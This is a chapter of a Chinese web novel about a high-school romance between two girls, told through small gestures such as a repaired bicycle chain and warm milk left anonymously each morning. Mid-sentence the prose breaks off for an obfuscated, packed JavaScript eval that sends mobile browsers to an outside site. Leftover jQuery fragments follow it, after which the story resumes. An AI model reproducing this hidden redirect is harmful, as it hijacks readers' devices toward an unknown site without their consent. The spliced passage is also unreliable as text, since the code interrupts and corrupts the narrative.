宁杳第一次注意到右楠穗，是在高一开学第三天的升旗仪式上。
九月的太阳还带着暑气尾巴，操场上两千多个人站得密密麻麻，校服裤子黏在腿上，汗从后颈往下淌。宁杳站在队列第三排，手贴着裤缝，背挺得笔直，目光平视前方旗杆顶端。她习惯把自己站成一块没有情绪的石头，这样就不会有人注意到她，不会有人问她热不热、渴不渴、要不要一起去小卖部。
但那天旗升到一半，她右边的队伍忽然动了一下。
然后所有人的目光都往那边去了。
宁杳没转头。她听见旁边有人小声说"右楠穗晕倒了"，又有人说"装的吧她昨天还打篮球"，然后是班主任压低嗓子的呵斥声。队伍里一阵窸窸窣窣的骚动，像风过麦田。
宁杳终于往右边瞥了一眼。
她看见一个女生坐在地上，校服外套脱了搭在膝盖上，白衬衫袖子卷到手肘，露出线条干净的小臂。她额角有汗，嘴唇有点白，但眼睛是睁着的，很亮，很散漫，像一只晒够了太阳突然被人叫醒的猫。
班主任蹲在旁边问她要不要去医务室。右楠穗摇了摇头，撑着地站起来，拍了拍裤子后面的灰，重新站回队列里。她站起来的时候个子比旁边的人高出半个头，领口的扣子松了两颗，风吹过去，衬衫鼓起来一小片。
宁杳把目光收回来，盯着旗杆顶。
旗已经升完了。教导主任在台上讲话，声音被扩音器打碎成一片嗡嗡的噪音。宁杳什么都没听进去。她只记得右楠穗站起来的时候，有一缕头发黏在腮边，被她随手别到耳后，动作很轻，好像整个人都是飘的。
那天晚自习，宁杳去办公室交作业，路过医务室门口，门半开着。她无意间往里面看了一眼。
右楠穗坐在病床上，脚上穿着一双拖鞋，校服裤子卷到膝盖，膝盖上贴着一块纱布。她低着头在翻一本漫画，旁边放着一瓶开了盖的汽水，瓶口还冒着凉气。
医务室的老师不在。整个房间只开了一盏小台灯，灯罩是米白色的，光暖融融地罩在她身上，把她垂下来的睫毛照出一小片阴影。
宁杳站在门口大概停了两秒钟。
右楠穗忽然抬起头来。两个人隔着半扇门的缝隙对视了一下。右楠穗先笑了，那种笑不带任何含义，就是看见了，觉得应该笑一下，嘴唇弯一弯，眼睛弯一弯，然后低下头继续看漫画。
宁杳把作业本抱紧了一点，快步走开了。
那天晚上躺在宿舍床上，宁杳盯着上铺床板上一道细细的裂纹，脑子里反复出现一个念头：她为什么会在医务室里笑。
没有人会在医务室里对陌生人笑。除非她天生就那样。
宁杳翻了个身，把被子拉过头顶。
从那以后，宁杳就开始注意右楠穗了。不是刻意的，像是一种本能——眼睛会自动去找她。跑操的时候右楠穗排在队伍最后面，步子永远比旁人慢半拍，体育委员喊"对齐"喊三遍她才懒洋洋往前挪一步。食堂打饭她永远最后一个去，因为不想排队，端着餐盘晃到角落里坐下来，吃相也不急，一口一口慢慢嚼，像在浪费时间这件事上有着与生俱来的天赋。
宁杳坐在食堂另一头，隔着十几个桌子和来回走动的同学，目光从筷子尖抬起来，落过去，又落回来。
她不知道自己在做什么。
高二那年冬天，下了一场很大的雪。晚自习下课的时候走廊上挤满了人，雪从外面飘进来落在窗台上，很快积了一层白。宁杳走出教学楼，发现自己的自行车被人挪了位置，大概是谁的车停不进去就随便推了一把，她的车倒在雪地里，链条掉了。
宁杳蹲下来，手指冻得不太听使唤，试了两下没装上去。她呼出一口白气，正准备去门卫室借工具，一只手从她背后伸过来，捏住了那截掉落的链条。
"往左边推一点。"
宁杳抬起头。
右楠穗蹲在她旁边，校服外面套了一件黑色的羽绒服，拉链没拉，露出一截灰色的毛衣领口。她低着头拨弄链条，指尖沾上黑色的油污，在雪光底下显得格外白。宁杳看见她睫毛上落了一小片雪花，还没化，像碎钻一样闪了一下。
"好了。"右楠穗把链条挂上去，拍了拍手上的油，站起来。"你试试。"
宁杳站起来，推了一下车，链条转了一圈，没掉。
"……谢谢。"
"嗯。"
右楠穗把手插进羽绒服兜里，往宿舍楼方向走了。雪地上留下两行脚印，不深不浅，间距匀称，走得一点都不着急。宁杳站在原地，看着她背影慢慢变小，变成一个黑点，然后被路灯的光吞掉。
她把车锁好，走进宿舍楼，在楼梯转角站了一会儿。暖气把她的脸烘得发烫，她抬手摸了一下耳朵，烫的。
从那天起，宁杳每天早上都在课桌抽屉里发现一瓶温牛奶。
第一次是高二下学期刚开学。她拉开抽屉，看见那瓶牛奶安安静静地立在课本旁边，瓶身还带着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716594|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点余温，像是刚被人从食堂暖箱里取出来就放进去的。没有纸条，没有署名。她环顾四周，教室里早读的人各自忙着背书，没有人往她这边看。
第二天也有。
第三天也有。
到第四天，宁杳开始提前到教室。她六点二十推开教室门，里面空无一人。她把书包放下，坐在座位上等。六点半，陆陆续续有人来。没有人碰过她的抽屉。
那瓶牛奶还是准时出现。
宁杳问过同桌有没有看到谁放的。同桌正在啃包子，含糊不清地说"不知道啊可能是哪个喜欢你的人吧"。宁杳没再接话。她低头拧开瓶盖，牛奶温热顺滑地滑进喉咙，有一股很淡的甜。
她知道是谁。
但她不敢问。
右楠穗从来不和她在教室里说话。她们一个坐第三排，一个坐最后一排，中间隔了五排课桌和整个教室的对角线。偶尔在走廊上碰见，右楠穗的目光从她脸上滑过去，像水从石头上滑过去，不留痕迹。她跟谁都那样，跟隔壁班的女生说说笑笑，跟篮球队的男生勾肩搭背，谁都可以跟她熟，谁也都不真的熟。
宁杳有时候会想，如果自己在走廊上拦住她，说"牛奶是你放的吗"，右楠穗会是什么表情。大概会笑一下，然后说"顺手"。
就这两个字。
宁杳高三的时候已经习惯了每天早上拉开抽屉看见那瓶牛奶。她也习惯了把牛奶喝完，把瓶子洗了，放在窗台上晾干，攒满一袋子再拿去回收。她攒了大半个学期的瓶子，一个没扔。
直到秋天那个早上，右楠穗出现在她桌边，把牛奶放下，转身走了，全程没有看她一眼。
宁杳握着那瓶牛奶，瓶身的温度从手心一直传到胸口。她低头看了一眼瓶盖，跟过去大半年里每一天的那瓶一样，白色塑料盖，上面印着食堂的红色小标。
她忽然觉得喉咙发紧。
那天开始，她注意到右楠穗放牛奶的时候是不看她的。头微微低着，视线落在桌角，放下就走，步伐比正常走路快那么一点点。
一点点的快，宁杳数得很清楚。右楠穗平时走路五步经过三排课桌，放牛奶那天她数了，四步。
四步。
她在躲什么？
宁杳想不明白。她唯一能确定的是，自己每天早上七点之前到教室，拉开抽屉看见那瓶牛奶的时候，心跳会快三下。
就三下。不多不少。
像是一种精确的、不被任何人察觉的暗号。